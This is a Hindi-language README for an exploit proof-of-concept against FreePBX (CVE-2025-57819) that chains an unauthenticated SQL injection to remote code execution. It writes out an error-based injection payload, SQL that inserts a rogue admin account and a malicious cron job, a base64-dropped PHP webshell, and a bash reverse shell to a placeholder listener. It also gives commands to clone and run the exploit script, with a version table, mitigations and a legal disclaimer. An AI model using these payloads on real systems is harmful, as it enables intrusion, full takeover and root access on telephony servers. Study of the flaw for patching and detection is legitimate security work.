FreePBX CVE-2025-57819 - अनऑथेंटिकेटेड SQLi से RCE PoC

केवल शैक्षिक एवं सुरक्षा अनुसंधान हेतु - नीचे कानूनी सूचना देखें

CVE-2025-57819 के लिए शोषण प्रूफ ऑफ कॉन्सेप्ट, जो FreePBX में एक गंभीर अनऑथेंटिकेटेड SQL इंजेक्शन भेद्यता है और जो रिमोट कोड एक्ज़ीक्यूशन की अनुमति देती है। यह PoC आधिकारिक पैच जारी होने के बाद केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण उद्देश्यों के लिए प्रकाशित किया गया है।

अवलोकन

FreePBX संस्करण 15.x, 16.x, और 17.x (पैच किए गए संस्करणों से नीचे) endpoint मॉड्यूल के AJAX हैंडलर में अनऑथेंटिकेटेड SQL इंजेक्शन के प्रति भेद्य हैं। यह भेद्यता श्रृंखला निम्नलिखित की अनुमति देती है:

1. SQL इंजेक्शन के माध्यम से प्रशासनिक खाते बनाना
2. प्रमाणित cron जॉब इंजेक्शन के माध्यम से webshell तैनात करना
3. sysadmin_manager हुक श्रृंखला के माध्यम से root तक एस्केलेट करना (यदि incron उपलब्ध हो)
4. रिवर्स शेल एक्सेस के साथ पूर्ण सिस्टम समझौता

---

भेद्यता विवरण

CVE ID	CVE-2025-57819
प्रकार	अनऑथेंटिकेटेड SQL इंजेक्शन (Error-based)
CVSS	9.8 / 10.0 (Critical)
प्रभावित	FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3
पैच किया गया	15.0.66, 16.0.89, 17.0.3+
CISA KEV	हाँ (29 अगस्त, 2025)

भेद्य एंडपॉइंट

GET /admin/ajax.php?brand=<PAYLOAD>

endpoint मॉड्यूल के AJAX हैंडलर में brand पैरामीटर बिना सत्यापन के उपयोगकर्ता इनपुट स्वीकार करता है, जिससे error-based SQL इंजेक्शन होता है।

---

शोषण श्रृंखला

चरण 1: SQL इंजेक्शन और एडमिन खाता निर्माण

डेटाबेस नाम निकालने के लिए EXTRACTVALUE() error-based निष्कर्षण का उपयोग करके SQLi सत्यापित करें:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

asterisk.ampusers में नया प्रशासनिक उपयोगकर्ता डालें:

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

चरण 2: प्रमाणित Cron जॉब इंजेक्शन

वैध एडमिन क्रेडेंशियल्स के साथ, एक्सप्लॉइट FreePBX में प्रमाणित होता है और एक प्रमाणित सत्र स्थापित करता है। सत्र कुकीज़ सहेजी जाती हैं और सभी बाद के प्रमाणित अनुरोधों के लिए उपयोग की जाती हैं।

asterisk.cron_jobs में webshell कमांड इंजेक्ट करें:

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

FreePBX cron रनर कमांड को asterisk उपयोगकर्ता के रूप में निष्पादित करता है, PHP webshell ड्रॉप करता है।

चरण 3: Webshell सक्रियण

PHP webshell /var/www/html/shell.php पर तैनात किया जाता है:

<?php system($_GET['cmd']); ?>

एक्सप्लॉइट webshell को सक्रियण तक पोल करता है, asterisk उपयोगकर्ता (uid=999) के रूप में RCE प्राप्त करता है।

चरण 4: विशेषाधिकार एस्केलेशन (सशर्त)

यदि लक्ष्य पर incron कॉन्फ़िगर किया गया है:

1. /var/spool/asterisk/incron/ में ट्रिगर फ़ाइल बनाएं
2. incrond (root के रूप में चल रहा) फ़ाइल निर्माण का पता लगाता है
3. ट्रिगर फ़ाइलनाम के साथ /usr/bin/sysadmin_manager को आमंत्रित करता है
4. sysadmin_manager GPG हस्ताक्षर को सत्यापित करता है और fwconsole-commands हुक को भेजता है
5. हुक पेलोड को डिकोड करता है और निष्पादित करता है: /usr/sbin/fwconsole <COMMAND>
6. कमांड इंजेक्शन: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

परिणाम: रिवर्स लिसनर पर root शेल (यदि incron उपलब्ध हो)।

---

यह क्या दुरुपयोग करता है

• brand पैरामीटर पर कोई इनपुट सत्यापन नहीं
• Stacked query निष्पादन डेटाबेस हेरफेर की अनुमति देता है
• लिखने योग्य asterisk.cron_jobs तालिका asterisk के रूप में कमांड निष्पादित करती है
• बनाए गए एडमिन खाते से कुकीज़ के माध्यम से प्रमाणित सत्र दृढ़ता
• root के रूप में चल रही Incron फ़ाइलसिस्टम निगरानी
• कमांड इंजेक्शन के साथ अनसत्यापित fwconsole हुक निष्पादन

---

इंस्टॉलेशन

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

उपयोग

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

---

प्रभावित संस्करण

Version	Status
15.0.0 - 15.0.65	Vulnerable
15.0.66+	Patched
16.0.0 - 16.0.88	Vulnerable
16.0.89+	Patched
17.0.0 - 17.0.2	Vulnerable
17.0.3+	Patched

---

शमन

तत्काल:

• अविश्वसनीय नेटवर्क से /admin/ajax.php एक्सेस को प्रतिबंधित करें
• यदि आवश्यक न हो तो incron अक्षम करें: systemctl disable incrond

स्थायी: पैच किए गए संस्करणों में अपग्रेड करें: 15.0.66+, 16.0.89+, या 17.0.3+

---

संदर्भ

• CVE-2025-57819
• CISA KEV Catalog
• FreePBX Security Advisory

---

कानूनी सूचना

⚠️ अस्वीकरण

यह प्रूफ ऑफ कॉन्सेप्ट केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। लेखक इस टूल के दुरुपयोग या क्षति के लिए कोई दायित्व नहीं मानता।

आपको निम्नलिखित का अनुपालन करना होगा:

• Computer Fraud and Abuse Act (CFAA) और आपके क्षेत्राधिकार में समकक्ष कानून
• केवल उन सिस्टमों का परीक्षण करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है
• किसी भी सुरक्षा परीक्षण से पहले लिखित अनुमति प्राप्त करें
• जिम्मेदार प्रकटीकरण प्रथाएं
• गोपनीयता और डेटा संरक्षण नियम (GDPR, CCPA, आदि)

निषिद्ध उपयोग:

• कंप्यूटर सिस्टम तक अनधिकृत पहुंच
• लिखित सहमति के बिना पेनेट्रेशन परीक्षण
• सेवाओं में व्यवधान या डेटा चोरी
• कोई भी दुर्भावनापूर्ण या अवैध गतिविधि

दायित्व छूट: लेखक निम्नलिखित के लिए जिम्मेदार नहीं है:

• अनधिकृत पहुंच या आपराधिक आरोप
• सिस्टम को क्षति या डेटा हानि
• दुरुपयोग के कानूनी परिणाम
• कंप्यूटर धोखाधड़ी कानूनों का उल्लंघन

यह भेद्यता है:

• सार्वजनिक रूप से प्रकट (CVE-2025-57819)
• पैच सार्वजनिक रूप से उपलब्ध
• केवल सुरक्षा अनुसंधान के लिए प्रकाशित
• पैच रिलीज़ के बाद जिम्मेदारी से साझा किया गया

---

लेखक

JazzTheRabbit

• GitHub: @JazzTheRabbit
• HackTheBox: @JazzTheRabbit
• YouTube: JazzTheRabbit

लाइसेंस

MIT License